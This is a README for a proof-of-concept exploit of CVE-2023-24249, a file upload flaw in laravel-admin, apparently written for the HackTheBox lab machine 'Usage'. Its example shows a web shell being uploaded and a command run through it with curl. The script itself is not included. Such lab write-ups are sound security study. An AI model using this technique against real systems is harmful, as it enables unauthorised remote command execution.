Proof of concept for HTB easy machine Usage# CVE-2023-24249 PoC
[CVE-2023-24249](https://nvd.nist.gov/vuln/detail/CVE-2023-24249) is an arbitrary file upload vulnerability in laravel-admin v1.8.19. This proof of concept exploits the vulnerability to upload a web shell.
The exploit was written to use against the HackTheBox easy machine [Usage](https://app.hackthebox.com/machines/Usage).
# Example
```
python3 CVE-2023-24249.py
[+] Web shell uploaded to http://admin.usage.htb/uploads/images/df18111ffa9f40264b52624c7d7d21b1.php
curl http://admin.usage.htb/uploads/images/df18111ffa9f40264b52624c7d7d21b1.php?c=id
uid=1000(dash) gid=1000(dash) groups=1000(dash)
```
[4.0K] /data/pocs/7a226f7a9670e41c671fd27d6de3fb05a5ebb7c8
├── [1.0K] CVE-2023-24249.py
└── [ 671] README.md
0 directories, 2 files